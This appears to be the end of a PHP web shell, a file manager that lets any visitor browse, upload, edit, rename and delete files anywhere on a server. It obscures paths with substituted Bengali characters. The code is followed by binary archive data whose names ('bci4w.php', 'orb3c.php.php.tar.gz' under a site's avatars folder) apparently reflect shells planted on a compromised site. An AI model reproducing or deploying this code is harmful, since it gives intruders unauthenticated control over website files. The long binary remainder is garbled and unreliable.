            $bytes = $bytes . ' byte';
        } else {
            $bytes = '0 bytes';
        }
        return $bytes;
    }

    function fileExtension($file)
    {
        return substr(strrchr($file, '.'), 1);
    }

    function fileIcon($file)
    {
        $imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp");
        $audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc");
        $ext = strtolower(fileExtension($file));
        if ($file == "error_log") {
            return '<i class="fa-sharp fa-solid fa-bug"></i> ';
        } elseif ($file == ".htaccess") {
            return '<i class="fa-solid fa-hammer"></i> ';
        }
        if ($ext == "html" || $ext == "htm") {
            return '<i class="fa-brands fa-html5"></i> ';
        } elseif ($ext == "php" || $ext == "phtml") {
            return '<i class="fa-brands fa-php"></i> ';
        } elseif (in_array($ext, $imgs)) {
            return '<i class="fa-regular fa-images"></i> ';
        } elseif ($ext == "css") {
            return '<i class="fa-brands fa-css3"></i> ';
        } elseif ($ext == "txt") {
            return '<i class="fa-regular fa-file-lines"></i> ';
        } elseif (in_array($ext, $audio)) {
            return '<i class="fa-duotone fa-file-music"></i> ';
        } elseif ($ext == "py") {
            return '<i class="fa-brands fa-python"></i> ';
        } elseif ($ext == "js") {
            return '<i class="fa-brands fa-js"></i> ';
        } else {
            return '<i class="fa-solid fa-file"></i> ';
        }
    }

    function encodePath($path)
    {
        $a = array("/", "\\", ".", ":");
        $b = array("ক", "খ", "গ", "ঘ");
        return str_replace($a, $b, $path);
    }
    function decodePath($path)
    {
        $a = array("/", "\\", ".", ":");
        $b = array("ক", "খ", "গ", "ঘ");
        return str_replace($b, $a, $path);
    }



    $root_path = __DIR__;
    if (isset($_GET['p'])) {
        if (empty($_GET['p'])) {
            $p = $root_path;
        } elseif (!is_dir(decodePath($_GET['p']))) {
            echo ("<script>\nalert('Directory is Corrupted and Unreadable.');\nwindow.location.replace('?');\n</script>");
        } elseif (is_dir(decodePath($_GET['p']))) {
            $p = decodePath($_GET['p']);
        }
    } elseif (isset($_GET['q'])) {
        if (!is_dir(decodePath($_GET['q']))) {
            echo ("<script>window.location.replace('?p=');</script>");
        } elseif (is_dir(decodePath($_GET['q']))) {
            $p = decodePath($_GET['q']);
        }
    } else {
        $p = $root_path;
    }
    define("PATH", $p);

    echo ('
<nav class="navbar navbar-light" style="background-color: #e3f2fd;">
  <div class="navbar-brand">
  <a href="?"><img src="https://github.com/fluidicon.png" width="30" height="30" alt=""></a>
');

    $path = str_replace('\\', '/', PATH);
    $paths = explode('/', $path);
    foreach ($paths as $id => $dir_part) {
        if ($dir_part == '' && $id == 0) {
            $a = true;
            echo "<a href=\"?p=/\">/</a>";
            continue;
        }
        if ($dir_part == '')
            continue;
        echo "<a href='?p=";
        for ($i = 0; $i <= $id; $i++) {
            echo str_replace(":", "ঘ", $paths[$i]);
            if ($i != $id)
                echo "ক";
        }
        echo "'>" . $dir_part . "</a>/";
    }
    echo ('
</div>
<div class="form-inline">
<a href="?upload&q=' . urlencode(encodePath(PATH)) . '"><button class="btn btn-dark" type="button">Upload File</button></a>
<a href="?"><button type="button" class="btn btn-dark">HOME</button></a> 
</div>
</nav>');


    if (isset($_GET['p'])) {

        //fetch files
        if (is_readable(PATH)) {
            $fetch_obj = scandir(PATH);
            $folders = array();
            $files = array();
            foreach ($fetch_obj as $obj) {
                if ($obj == '.' || $obj == '..') {
                    continue;
                }
                $new_obj = PATH . '/' . $obj;
                if (is_dir($new_obj)) {
                    array_push($folders, $obj);
                } elseif (is_file($new_obj)) {
                    array_push($files, $obj);
                }
            }
        }
        echo '
<table class="table table-hover">
  <thead>
    <tr>
      <th scope="col">Name</th>
      <th scope="col">Size</th>
      <th scope="col">Modified</th>
      <th scope="col">Perms</th>
      <th scope="col">Actions</th>
    </tr>
  </thead>
  <tbody>
';
        foreach ($folders as $folder) {
            echo "    <tr>
      <td><i class='fa-solid fa-folder'></i> <a href='?p=" . urlencode(encodePath(PATH . "/" . $folder)) . "'>" . $folder . "</a></td>
      <td><b>---</b></td>
      <td>". date("F d Y H:i:s.", filemtime(PATH . "/" . $folder)) . "</td>
      <td>0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "</a></td>
      <td>
      <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $folder . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
      <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $folder . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
      <td>
    </tr>
";
        }
        foreach ($files as $file) {
            echo "    <tr>
          <td>" . fileIcon($file) . $file . "</td>
          <td>" . formatSizeUnits(filesize(PATH . "/" . $file)) . "</td>
          <td>" . date("F d Y H:i:s.", filemtime(PATH . "/" . $file)) . "</td>
          <td>0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . "</a></td>
          <td>
          <a title='Edit File' href='?q=" . urlencode(encodePath(PATH)) . "&e=" . $file . "'><i class='fa-solid fa-file-pen'></i></a>
          <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $file . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
          <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $file . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
          <td>
    </tr>
";
        }
        echo "  </tbody>
</table>";
    } else {
        if (empty($_GET)) {
            echo ("<script>window.location.replace('?p=');</script>");
        }
    }
    if (isset($_GET['upload'])) {
        echo '
    <form method="post" enctype="multipart/form-data">
        Select file to upload:
        <input type="file" name="fileToUpload" id="fileToUpload">
        <input type="submit" class="btn btn-dark" value="Upload" name="upload">
    </form>';
    }
    if (isset($_GET['r'])) {
        if (!empty($_GET['r']) && isset($_GET['q'])) {
            echo '
    <form method="post">
        Rename:
        <input type="text" name="name" value="' . $_GET['r'] . '">
        <input type="submit" class="btn btn-dark" value="Rename" name="rename">
    </form>';
            if (isset($_POST['rename'])) {
                $name = PATH . "/" . $_GET['r'];
                if(rename($name, PATH . "/" . $_POST['name'])) {
                    echo ("<script>alert('Renamed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
                } else {
                    echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
                }
            }
        }
    }

    if (isset($_GET['e'])) {
        if (!empty($_GET['e']) && isset($_GET['q'])) {
            echo '
    <form method="post">
        <textarea style="height: 500px;
        width: 90%;" name="data">' . htmlspecialchars(file_get_contents(PATH."/".$_GET['e'])) . '</textarea>
        <br>
        <input type="submit" class="btn btn-dark" value="Save" name="edit">
    </form>';

    if(isset($_POST['edit'])) {
        $filename = PATH."/".$_GET['e'];
        $data = $_POST['data'];
        $open = fopen($filename,"w");
        if(fwrite($open,$data)) {
            echo ("<script>alert('Saved.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        } else {
            echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        }
        fclose($open);
    }
        }
    }

    if (isset($_POST["upload"])) {
        $target_file = PATH . "/" . $_FILES["fileToUpload"]["name"];
        if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
            echo "<p>".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.</p>";
        } else {
            echo "<p>Sorry, there was an error uploading your file.</p>";
        }

    }
    if (isset($_GET['d']) && isset($_GET['q'])) {
        $name = PATH . "/" . $_GET['d'];
        if (is_file($name)) {
            if(unlink($name)) {
                echo ("<script>alert('File removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            } else {
                echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            }
        } elseif (is_dir($name)) {
            if(rmdir($name) == true) {
                echo ("<script>alert('Directory removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            } else {
                echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            }
        }
    }
    ?>

    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"
        integrity="sha384-w76AqPfDkMBDXo30jS1Sgez6pr3x5MlQ1ZAGC+nuZB+EYdgRZgiwxhTBTkF7CXvN"
        crossorigin="anonymous"></script>
</body>

</html>PK!�2<�+�+	bci4w.phpnu�[���PKI,PK!���V��10/4yd0ui/4yd0ui.tarnu�[���67c6da0a349ea.jpg.tar000064400000005000000000000000007750 0ustar00var/www/html/back/storage/app/public/avatars/10/67c6da0a349ea.jpg000075500000001567000000000000020047 0ustar00���JFIF``��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
��C		

 $.' ",#(7),01444'9=82<.342��C			

2!!22222222222222222222222222222222222222222222222222��dd"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?���(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���67e272b25bcec.jpg.tar000064400000005000000000000000007751 0ustar00var/www/html/back/storage/app/public/avatars/10/67e272b25bcec.jpg000075500000001567000000000000020050 0ustar00���JFIF``��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
��C		

 $.' ",#(7),01444'9=82<.342��C			

2!!22222222222222222222222222222222222222222222222222��dd"��	
���}!1AQa"q2���#B��R��$3br�	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������	
���w!1AQaq"2�B����	#3R�br�
$4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������?���(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���orb3c.php.php.tar.gz000064400000061325000000000000010227 0ustar00���r�:� 8�`��G֑-�~�K��ݲdɺ�RU}^J�$�BJ$u=]�cm�Fl�쏙�1�3�
=�0/���H���]�����=�>%�H$	 �H$kNa7�
;��3��
����
7Xn�`��L�ܚ�8Ee�6��+���~x�_�����D\�B�H<#��=�����o����"�5�o����3���/�)��_��g� �f�I�(���G�_��s�e�a�)�&ʒz~	��4q.0)F�.f2/\y�53�	W^��|������v�I#�q���<��(+�/��
�g5������B�]]�5�v�����^���(7��+���en��\&^US�Pmg�U��7T+����^�oxΉ�|J��[�f=��1��͹]�q���"f�
�9b�p�ځ~��^_D�a�����ESV�퐛�����$����cP㨂�P.J��K^r���,]��H��;HфI@1�8��Ѣѷ�?rw~�ۼ"j�3���8��z��h���g�M�7^TP1���0�{\�5��$a�6D��u��ǻ$�cy��TqO�0�Q��!�(�H��C���P��I��\�#�C폤��h/��{�&3����� P?�s�4:=�H�2�h>+H\&�r#U�Z3Y]�\��;4<��3��l,��GO]�d���lE�ͤ��Y�I�����jo}N<B����I�l��|�������ߨ�h�۾+�<�př� �4�9O�\�2 [��K�����I4��̥�
���ޝ�j%!�����#h���Ȏ�}�abD��z��\Ay ��T(m �S		=		'�5C�'�W�X$`~e.��6��ṝ���"�qG�w�g6:	����"e�H8�f9,"��"o+�5����_~a>��o��|���z~Kg����[%]-���<Hd��R:{~CU�g��DT7mg�U�1��)1@�dž�?�^�
ƌ#��T�|A"R�l4��;��}B�A����5��H�gg6��d�笏h�����?ҽpO1�ψ*�H�sHġ�0���tF�˜��������I�w���J`Q��vu�	[
�1��}nF�Q��._�b8(O��"1֯�5=	>���{/�P�b@��'� �U���*���Τ��*ԫK�Amc@">`��PweIA�/�
�	���0g��(ȅ$Ӏ���k���?�E���y��3�%̘Oh��{�(�
i��	'��[�1{�u���P��	(����4����n\�BP檍��8k�Q!ޢ6֙
�g�/(?��/a *	&�ʋ+���	l�H�2���9IJMy04<�tT*�Us�I�h�64�y_Fk��HS��	l	[Š�!�V3N��9�'f�Y�d��<eԅ0@s�
[����-bŖ�&����)dń�1�hHλ�68�1hbZ1J���
�‚I�lKSI�H6����ʠ9�ek�5�˟��B�_�n�A�
5��@	��h@���_�,#�z��8��A��jy�8^`���~���K5"�F�X5^deƟ(0��jB�FХ!J�v�:L�R�s]<��@%�IA�塩U����r�Tܵ�].8��\'�u���i�^o<�{OV��Ax��-<I.��P�NE�%
�P����!������C�!�5����#s�	q~���hxG�6� ��z���U@�!=`�wF���knv�g�f��V�$c�B�D�����_������E�F�$��o��{J?xO#�����N�}�'��?���>��ߑY��DE�kC���D0��jH`ПU!6	����	[Q��C�����ru��%
�por���Uʽe8MC���w�&Ș�@5�%#���1 �Q�v�Z,�l��Nqt ��u� 
��d4�i7h	��)%'�E\��b�X��PP.p��?��Ai�[X���&�,9;�|��J_y�
G#��U�h�N5�1s�hA��5��;��d�t�\(��1y�i(�H.�<c�"��I�L,
�H�C���KR�J)?hՠ3K�*��p0�U��q�ha�uN�1x���&�0UYc
�J�z}
_m��ij��Ro��;�R��?�"
�lj�3T�v�h��$D��%��o
�<}�@�y�8Д#0w�D뇯�S�@(b�z�Z�w�@�W�=Y���P�r$���)�!����Ww�)� �Չ��}lAy���A�F~PB��M��^���Q,��	*���k[7�^�K4���2�2�q��n���8#��8�+2DS0�p?�z?�R��D�J���e�70U#=D%�Ξ9�ï�1-���DK2�K,\�֕MHK���'�:�w悒`���1V�0?�vXۨ3�N#M{�v�W��QC���̃W^~�d
�am�2�#0�J��Ztק:��K�nR�/0�ڌ������������D0W_���.�R�d�*`�Q��I�P{(�����`Mop��;���;��F�Bs6��F:�d���!�gf�RW}USL�k&p� e�*���x��(땭�I�V��WTK��Z������4�[(��
I����Sk	n�؈������Bb�C�O%NSeE�4���uї-�XGF�v}	�ח�G����q���I���1G04��o*=��k��Tސ?s�X���/hԡB�����	�L�$��s��".$~B���3)�3��{*��›&��Xc��D��>ח�0����Pm'aeuMz]?u��z)a+&���3�� �tE��Q��ý�.�_<�5��{nQ1~�=����;W}��`Z���i�����?D�����8���ly��.����e>u�tS��0������gB�D˱p����S�VQf�,ԩ^�@��C���oK��<�h`�E��{�����$�*�.�2&�R�3����LT�����!z^p���/��1'��]Y9�+�ao�TU|�Pq�*B_@�X��:����ޞ*�(���%9��?��d~�ޙ�p*�D�`���ٍod��5���pY�/��X/��T4/��E�5�(|C���c��-	�����錘��o�ӥ+lT��(��0��SP�S,f�+��Ko���IW�t�m������C�ɥ[�L��o���)!�_Y��M8�$l��e���֭��׌3��uI3�E]�>�ir4J��\�4Q�����	��A.i}���t��tsO�	����h�3��v4'϶t�~�)�uW�0ᡋ-L�(���
W�J׵Y?L1͑�����h1eV������b��;��RA�@�̡���7Բ�N�B1l4�f���)TO�ٺsv��W�E�R����ܮ9�
)2X�&^�Ι{��m���Ve���IH<��\�3N��&�(��o�X�#�r�ol٣��QPz��6�Q���w[0�a�$0���K^��h�����Mb�D
7
�%zϰ�aaj�X������n�I�`ـ$C%��XUn��>]QL^R�^QQ:ݡ�a[�$!m��ڒOx����ڶ�u�;�;��K�Z)��ehX47(Y��r�D��|����'�>�
�IZ͑z.�xլ��ͨ<e)P�G��5jτ�L���_K�V��t�~<�H�ʛ�+w]['�ȧ[yZ�A��
��k�$�j�Ń�7����K��c��g�R���Q��G��>�M֔��|�Ŕ����#L']i�Wj4I��v*&��3}�=�r�
����J�R3�ʺ޼@������a�\�S���R��i�^=̝!mP�`�D�����&�D{m��pr���4���F�f@��k=��J�[��Ru��|�������c�$�d���3FшO�<�`J���a�LL�r2��J���o����᥮�~$H�x��i�L��R�=�4Í��vE��-��N��� 7�Y���4u�������7���`���*	Qr������ђُ_2��N^1�>l8I/3� �
����%�yP�Kp��9��LD�7��/e��!�/�e�Nl�$�����iC�z��:٣������rt�������-
=�?��0��(�	%�b<j���N��{��b�s�N����)Zr~+V�����&:`�Gž8��Y�j����3͎�$�B�]�Mhj��6
m�[r����d�|�烪P��y ���P��CB	
�F*4w��`2S����.�2����݇����TG���uq�IԺ8E�yP��d���%�2�TC{�Y��U�w26Q�J)RK�F��,�=g�-���1�ZӤ=��@S�Q�_���F�����a~����}�k!�����t�q,L�!�4Z��J������vh�20�2��Z���<lE.J��v�� ����nD�G�	-�#��4�
K��y&+�LM'S�p	�lfLb�1A�9	�H��5� �ւ&)'�7��9D�h�'(7t����n���B�����8�d���"�S�n�l���Q1�f	�p�����E	O��xmGq#ι�pˬ������[��]H�;҄�b'Skl��HN��j�=ηG�)��z6��r��l�C��gZ�|:]fK��K9VGG�z��(��p2V��,��Z��^�
7�XC�D¡V~~z͇ri%��.���\�mBl<�-;�������r���!j���d�����…�L��>��f`"m/�V{�l�Ĉ�0��TE�ldu�Vϓ}����jx'�w|;���g��<*,{�K������<������2����6��'Ê��i�rx2����*4��vw�g�*dÓ�<���R:8y��I���B ����<�:?~��R�e��^h~z�I�p`3LF;|��_;����aXe}�p�qԔ��Y���Z"Y��7;��`z��C��V
*e.��L�R:<�*��&�xB�Rx�����!��z��h��*�&�r�Lw��e�|���x�)�o-��d��8T#6�Qٸ���;�/Ҏ�rO��S%#E��Q��{�g³�pVZUX�U�
*���u�`����&�ᖬ>����f"/j�ྻ��ԅ��|�ru�,7���K�N$5^ۇ4���'��%�5��n5�d���$���v�ʧÛH�3����7�
�Q���&���fT���jҊ�꒶G|�&��=a}�
�EQxڮ*��>�W�����!t��6ОF[����N���Z��|�����w_g�|a�=�J���}�g�yg�{�mw/�d�g�z�.�C����i1�h'��\w�Y{�퓘ϊړ���'�5����F�1T�lD�۟/[�,��|p���&;�>i�H`�K�;��xԝ���궾~�=t
U��oĒ��6�$��V��k��Myĕ
���OQ~̅�PK��c=_=��_�l��Jl�bX�䆳P;����ZPC��0Ec�SzI���V9V	��ūo2�-V�Pz��^g�b�n���j�7�
���R|'�g��:����j	���h6��6�2�5r��c���c��+���h�Ja7�tF����}Dr�PK%F·�XL��]�>6j۬3.P�gM������<������Lf����+`���al��M#�nMbc��@d������t�e,IX��}Bؤ!B���0�l��L@i3�/`?�#�Zw�
�j{�ą"k2����-;�$���@3��֝���;Z�����8�&=�p���d�c��k�B=����=����4@��?�W�Pk���|��Qk�\)w�U�e����䴌�U�h'�Yto
ks�d<Ԛ-rNņp`[�Ŋ|	'�R��[Y���:�=^W}�V�oέ\c
��]�=[��*��x�Y]p�����{붰m���#�ٕDI|��\0m/���~�
*���1���3��g��!{�GvV�z�*c�?uA7|nE8p ��+�!2���a���|T�s��`��b!(���z��R*1;	n}7�z��M~�:9��V��xV^�C�Dr����/�<מ_<�:��6�]"4�`L�Y1��A���X�n1E��Ay#Y��+��qA��զ��գ��`W���5	���]w���7��L�T�^/dT�� �zwnq�w b���k�s���Q��R�Oa��� �(N��f`~�s���A��� �ʒ}�M$~Ì�;Wz��v4��O�`EDC���x����C-I�8:*{(�H����];$���!� �W`m�8���Ν8”������7����?1���Ͽ�{�o�=������������/����/��#��w�O6�
�~��?6�8glcM[̰7��fU��_��ѐ��q�%��>���b&�,����׺�4�`�ǎL����VS�\봐,`�>�<YE->}�nY5�ݲ����(c4z���K�t�#���u�5΍J�I���j8j��+��9M�p�i�~.�\
e?>��*�Q��v$-���]V�ަ���b��`��9���
�l�������}��f�o3GŎI��9�'�m"�</Xg�-��	�����&���C�U�L�ڞ@v�0�-w��c�`�Ȃ)�菊�m�[�i���66�<�Vn�62�:���ܚ�PY���2��<'�����(�����թ
��!�f�;9���a�>eF�¤���Z'�6��'Z���ܩ������G^yQ��yD�^? }#�nؼ�
bc�����A�8Ƣ!��^�t�Ζ�(�@J1�rv��pf��8!���\��,d�;&+3����at���\PF����^�r0:��=���z���G�$�K��S�{���v�1R�CB�e"�U=��-��u�1V�}un��&l�r���)�_�_�7���F6��M��+P��D��K<S��F�C��B<��$BO�6����z��#Q�K|{���浜ʶgK�hAV4.8+R�ha�� ��������ѫC|�'ƙ	í����;Ѱ:+O!����;0�>Ne(>��A�a�V?�Z~�5� �ɻ�B�k.����O��~��B�H`Y�����(��%z�u�Zc�ֶF���v��6E�
a�bqr������&���qL!#No�VԮ�#g�
� Œ%�
q��E�9�;Q7K������l�V�`j�UJ�iMu��%™���5B��.N��!�y�ۄ�ё��a�;��U_���C"	�h�:��-��)���PE&kϟl��M���[��x�������﷋o?���'�9\kyz��<#l��ua����4|��l'
�x�u���l�\��\ܹb�,2RE돽�0Jӗ��[�)��j�0�cq/qkv�u�������W��^�u��rM�n)�"���� �DCh��1�,4�0O���0���йi;Ln����렵=�F���ȘU��k��,򌮢,u��9�0q�l<��Y8�&Q��/J�Qׇ	x���c�V}{ȿ�����i��b�=�>n
�QG�E���SOU���&�`�$�m�l��w��wd�D��K3�
�,�yavv�Ii�:�_wT��أ������F��O��z�+U#A�ӡ��iSg_꣦+�!��]R�Kb�f��Q7"jK����og,LK�k&�z|.^3��s�DR��1�zn殙X*�����?x焵�g$��n�sé!=u�F��a=y!�����|aK�Q�n3��a

� a��D� � ���yqs�ai����4���~Y@�\�_==��a�z�IZ$}��'�i�'Q��r
�mwL5R?� �-��֩Fkz|G�ثN�뛃��zM����f�eE �Z��c���m0�wV'B�o唛�!����d�/k�<�f�$D���	���O���&�(<'�|B2� zq���3�w��,&ɰ�V[T��f�%O\#�x��AP����6p$K;����Ro�'M/�����o�Vg0���V�0Ńc2�Y�I���u,b֤�P�Ig7���U�m��ع%�Gx��2�\���{�?�� /����ɶ��3Zۢ�n�����
2'H��v�@�U�1=�3j�J�R˦[�Z�o6+oha]*t���:�Q��|���C>�CP�;`�|!���9�ȷڍj���6QcS��A��
[aMd�8�IJfۙϟ�Te�M}����d����������S[$Q�f�b�}]�)��U.%�
���$���,��𡒮<��ܗ�҅��H.���3���X�]�a�IO�H{YxF�l���F�'^��(��?h��džO4b���zf�Pmx��`�{=�ܵ(l�����N�b#��8�����׷��nT�X!�x���ؿ�T�W��3K>�S&��~�ę��K=��rsq��=;���8�R�9K,�Ws$�D	���囻%;��-�еOk�^<Z��^�@,�L�a���%j_p8}�ݎe��nf��bI$��`��p>�6�Xr
�p�p�0�D��l�u�X>�z�g����\[��S:��dc�Г4�!�)���qJ�p�����p�o,@l@��(���5���#�ב�����/��w��"����ޟ���,��:�����>��sYk��z�L��h��a8�`�b��	��X!)H�2�;U�����ĀP�����~$$�Zٓ�W��(�M�k����t�ڈL0��[����X�lw&(��@n��`�Z��&�A�b}��#���΂��fdw�| �6lr���,Wf�\1臫r?�5��\�!��z�~��N?L8�S�:��Ea�׍l3"�gym��K��cV����fwY�O�My�t�i�=�7�v��Gb�V��٧B'��Jr9�NK\�6��J���#��	��I_��*���+AMDC��f�Φw/�\�Q��풐��m�U��U��/?>�����e{���I?�}Ϲ�RR��Q:#T�*�t.���O���a���l��f��A&0m�+�R���gb�iy�~�(��g{�t�.�*�Pe�.��t1-
}�V���}��x���ϲ�N��6��^w��G�ty�ܑ�ta�Ig�f�MWGZ:�y�z�t%N?�j��j�N����Xj/��F�W*�t��Cy��� �h�V��`�22��f=����lp�	�qD�O���m=ԭ?����j#�{�V9SM��Db�Z;�(4F#�9)<Ej��U�X(7Kh1%Qdw�bw��|���
����d}����g��.K���!��V#~(TzJ�^i���u���I<�_�ӊ�	��hu\�����u8�J���A�I���`�K��k��y��6�>�*��h�q\��r�*,���J��R��d�v$�o��\��Q��v�Y�g�ur��o����i�(�ү�F����s���_Z��z�N?���C���FE1$ì/��ma�FJo:o����>��Zeu�>d[�l��d2E��)f���x���L�ݎ�r#�����Ǚlv�L?<<���.[�⾟�Q�Z�i���ip%�5HGV��K$7	nr�b�}�gʕ]&[odv�Q��|��tAg��d4z�w_#�A��AP��ܣ�i4J�U��m��]*tJ�Rr0*E�mq���Qۍֻ�:?��J�]�n�*�܊��r�(���C};�/��>P��sw��a}=�䄯�l6�Q7��s��V�f��H���]</*靲/7��&��H�n·�7���ζ�y>Pu�L�0~z�ǻ��h��X�Ls��C�qWn-�"7|�z�;)m�q��}~�ˉVe�����|uWo���c|^OO��E���k��<�,��겧�y2MH\���e��6ʮ�:��V.�{�}�qb������kEھ��V��X��k�@�ޛ�s��W��ZH�;u$�b�X���� ��|"UG��c3���>���|��=��7�����͒�׀�^4|�k,��7��x���F�R93�Ӄno;˾n���"jo�o��e^z��l�錖��Hz��S�5�Nq'�;�r�T��H�$���Nɷx�U�ʴ�y
>O�u�=[j��"X���퐰��ć�\���:�x����2�>m�ܢP�v�~ꎲ����������k�Qy��^����겍P\܇�K.��姠�o�k��$������m�5��rYxM�c��.�E1�
�*�m��U��u6�fYk,Ce��VqN@VA)>�G3ۀ,�f��^��eza�����ܠ����-%���%k�徖������JJ
��S?6�~X��
l�/�؂�<�
����L3�����Vg��o�Jb�Ot
��A5]�uƳ��k��l��|BNv��v�yR�����i$.���qԝ#Q]i	�j|�h���y���[9�i�?�J5���6��Hs��F�C-�ᄂ�jK1�*v�U�[̤��lW�}�:�Ng��N���,���Ul�X�g�i �HZO��s[M����AO��v3�j��C��KA�yIK��6�Xkݫ&WR�ʶ�[���8���Bn�R�b�~�_=�Å�cQ	��6��=O��s����:�~ �K��D��bi�،T*��WY���.��F��l_�B,�~���Z�
ɡ������<H�M@�ͅ�Vuxz.�}�F�ϳ٨��T\���s=����Ri��T��W�6Z�^��q|;�%'ѝ�{�E��pxR^:�S5�
�*�J+Q]K3_!��%69e�
�g�Q���mj��v1��}�D��=�~o��BB03)g��F'3�����5�4򮶫+͇p4:�M�E	��j�H���Xل#O����qG(>G��0���k�u��p�k<���&=�Qe,W��o)F��U9��4cω�7��������v���UuU���k�EX���BI�Bp#p�ͺYXl�Ee\Rk�^�U�j��M��^.3�����w/��$e�RIdU�X
嫃�8ZKLG���,&����U�Uj/�qVXL+ۧ\{��K��X�J�L>uk�i/��/�q�W�|):�v��lܯ��/���K�����J�ӫ �Y_��NA��;�A��N�c�]�\�q�$���n��V�jt��XV˫�f�W-��Jg�_j\R)�Qu��
�Z�lۅr���Yn��2T��;��Z�D��P	̅iPu♝\�h���h���0փ�/ȷ�#�C}��pY���Н��q�_�:��H?Lf���)�^��Xr�����1����h?��3���G�!~����&���JtX-WW�Q�����\=n��W��`s�yn�}�z(�Ux����W�7�c-�~����K|f[�ǵ�uҝN5����ڣ/�~���+)2C��\��}ж��f�
<�6�P0.���p��hN�]%Զ[��]��.P����Io_���M�A�Ɔ��0;r-���m\���d��e�WB��|]��5_k��lk%6��_�%%�H��\tx.̢�u��{��X�Қ���}d��z��P�G��\_Vz�h���}�/�h��WVD�h�[�^������ڭN|�:_&b����	v��j%��TYq�2pqi%(���c��PM�d%M4�lP{j�0�Vc}vXH��Â��8L��U<�:���P�����V�g�pw�y�}��d~H.7�(�|4�Aq�}~F�ep�I�2]��V�\��H���֒��p%�z"9��Xgc"��V�mw=\O:���Mro��Ekl�u7c%��סD?��|����t�km�:���ZN&�[�F����$�;�@y�n�)�ȧ��=[|�Wx�u��T{h�sl�9�fc��"�<���-�[xW[h%�IX����ڨ��4�	�t�+�]��/�VHm���0��z�=K�-_o$��p4�֭ծ�}�p"]�$��c������S�3Ȋ�q=���`PM�{���0�v�e��(fr|��Y@�~�1L�C�䶳����ݍJ�H Vf�}��F�4����Z��e}��XCl��c.�	�p����jxU
h ���VM��O��o0l���0�-����
h�M+T��{�t���+vF�J3V��P!�s�|r�{��c�u}�i?�K�:�ع�DK��ZhV���v2��Hr-��=�kf���h�5|Y6�h%�����o��*�u4Z�b�=��֫@�\LN���4�*�_K�Z���KwUo�뭗ª�� u�5��[Q++��f5��Z�q��vZ���F�r�^#٭�*aiY�I�jf�P)�I�R�1,�;�7�]=�����
//IN�)�l!S�ˊ\ډ������\���~Q-
�z
����j;�*�:�,��O��sB�鴠�C�֦r���$��q7S�ɉ��==��a~�f��,\�#��njm7�N{���Y�5m���l��K-!�L����;�v�?� �A����a����;�v�?� �A�iv��(���C��LbJ� ���۪gĢ����m���ҥy@�f�q�.>�-�F�}+�)=�ӂ����Ӯ�}�䷅qf�K�%�F])'ϒ�d�+v�H����ƗL���(�Ȯ�>���&�a)�f��}n�H�'s����
Z
�3JR�#��6�@h���Rw.$r��K�I����)?
;��@Aȕ�ʠ�8�ɦ���iFry�,?q}����O})�c7�_�J\	��2�i��D��d#�η�� �y&C��6{؇�
�7Y.���%�ת&����By��jս2�FZ>�	d�����
�g�ܤ�lW�����[�i{.L2��n-��Ó�ɗ���\�>u�ؖ�šTZ�Fl!~�E��Q���4��bf9T&��?���|\,�^���p(�r�P4��4�m�i�o7_:�jQ��Ҫ��-���f��>�ב2Z)��ǘT�L�T���a)����^���}�?�����2����%?��3y�O?��5�_��ŧ�coVJ���|�a)��B0:~�(Zv+���Qw<j����H���"�}�*��8)��w��N(u��`Wy	�>9�Tsa�m_}	>])Ɵ�N��~�K��2���/Ν�UԞr�ώ4�p�Ѹ� ����7�
�I'AC�biΪ������ ��m�%w✗��(�!y����Ճܧ����>�!i�&���U2�J�~�h���_rc�(צE��|k%�TǺ�>��,�XZڷw�s��i�K�j���L��̮R�s��c���O����N6�Xv����i���v/��b^�E�h�����U;y���/�x�Z�U�P_|�#�ò��YTx�T�]��*�El�4�k�!��
�y�gW�uXIVW�l&�섢\p�y��q�Ml�����6b�Q�$�"�[�Ni��#[TF��:�ψo��B,
